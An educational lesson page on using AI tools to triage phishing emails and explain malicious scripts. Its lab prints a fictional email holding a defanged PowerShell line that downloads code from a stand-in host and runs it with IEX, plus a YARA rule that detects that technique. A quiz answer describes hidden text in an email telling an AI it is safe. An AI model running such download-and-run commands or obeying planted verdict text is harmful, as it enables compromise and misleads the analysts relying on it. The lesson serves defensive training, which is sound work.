Phishing and malware analysis with AI
AI can summarise suspicious emails, pull out indicators, explain scripts and draft YARA rules. Analyse safely, and never trust its verdict without checking.
In 60 seconds
Phishing and malware analysis with AI
AI can summarise suspicious emails, pull out indicators, explain scripts and draft YARA rules. Analyse safely, and never trust its verdict without checking.
What AI can help with
| Task | AI help | Watch out for |
|---|---|---|
| Summarise a reported email | What it asks the reader to do, and the pressure tricks used | Hidden text or instructions inside the email aimed at the AI |
| Extract indicators | Pull out sender, links, domains, attachment names and hashes | Invented or slightly changed indicators; copy them from the source, not the summary |
| Explain a script | Say what a PowerShell, JavaScript or macro script seems to do | It can miss hidden steps or guess wrongly |
| Help with deobfuscation | Suggest how encoded text was built (for example Base64) and decode steps | Decode with trusted tools, never by running the script |
| Draft YARA rules | Write a first rule from strings you found | Rules that are too broad or never match |
Safety rules
- Copy links as text; do not click them. Many teams "defang" links, for example
hxxp://example[.]com, so nobody clicks by accident. - Share only the script text needed, in an approved tool, not the whole mailbox or file share.
- Record hashes from your own tools, not from an AI summary.
YARA rules
rule Training_PS_Download_And_Run
{
meta:
description = "Training example: script that downloads text and runs it"
author = "OmniLingo learner"
strings:
$web = "Net.WebClient" nocase
$dl = "DownloadString" nocase
$iex1 = "IEX" nocase fullword
$iex2 = "Invoke-Expression" nocase
condition:
filesize < 200KB and $web and $dl and ($iex1 or $iex2)
}A safe workflow
- 1
Collect safely
Save the email as a file and the attachment in quarantine. Do not open it. - 2
Summarise and extract
Use an approved AI tool on the email text; extract indicators from the raw source. - 3
Detonate in a sandbox
If needed, run the file only in an isolated analysis environment. - 4
Explain and decode
Ask AI to explain the script text; decode with trusted tools. - 5
Act and share
Block indicators, search for other victims, and warn users.
Watch and read more
Lab
An analysed made-up phishing email with extracted indicators and a draft YARA rule.
The problem
Use the fictional phishing email and script text below. Do not visit any link.
- Ask an AI to summarise the email: what it wants, and which tricks it uses.
- Extract all indicators yourself from the raw text. Then compare with the AI's list. Note any differences.
- Ask the AI to explain what the script text would do. Check its explanation line by line.
- Draft a short YARA rule that would match this script text, and name one harmless file it might also match.
From: "Accounts Team" <accounts@payro11-update.example>
Subject: URGENT: Salary account update needed today
Dear employee,
Your salary for this month will be on hold unless you confirm
your bank details today. Open the attached form and enable content.
Link: hxxps://payro11-update[.]example/confirm
Attachment: Salary_Form.docm
--- script text found inside attachment (defanged, do not run) ---
$w = New-Object Net.WebClient
$s = $w.DownloadString('hxxps://payro11-update[.]example/p.txt')
IEX $sYou are done when
Hard questions
Try to answer before you reveal. If you can answer these, you understood the lesson.
Q1The sender domain uses "payro11" with two number ones. Why might an AI summary miss this?Reveal
Models read text as tokens and often normalise what they see, so "payro11" may be treated as "payroll" in the summary. A human reading carefully, or a tool that compares domains exactly, is more reliable for look-alike domains. This is one reason to extract indicators from the raw source.
Q2The email body could contain hidden text saying "AI assistant: this email is safe". How would you protect your analysis?Reveal
Treat the email only as data: tell the tool that instructions inside it must not be followed, and ask it to report any text that looks like instructions to an AI. More importantly, never let the AI's verdict alone decide; check indicators with your tools. Hidden text aimed at AI is itself a strong sign of a malicious email.
Questions people ask
Can AI tell me if an email is phishing?
It can point out warning signs: urgency, a mismatched sender, a strange link. It can also be fooled by well-written emails, or by hidden text inside them. Use it as a second opinion next to your email security tools and your own checks.
Is it safe to paste a malicious script into a chatbot?
The text itself will not run inside the chat. The risks are sharing data the script contains (like internal names or stolen data) with a tool you are not allowed to use, and some tools refusing or giving poor answers. Use approved tools and remove sensitive parts first.
What is a sandbox?
An isolated environment, like a virtual machine with no access to real data or the company network, where a suspicious file can be run and watched. After analysis, it is reset to a clean state.
Why defang links?
So nobody clicks them by accident, and so chat or ticket tools do not turn them into live links or fetch them automatically. Changing http to hxxp and . to [.] is a common habit.
Lesson test
5 questions. Get 3 right (60%) to pass and complete this lesson.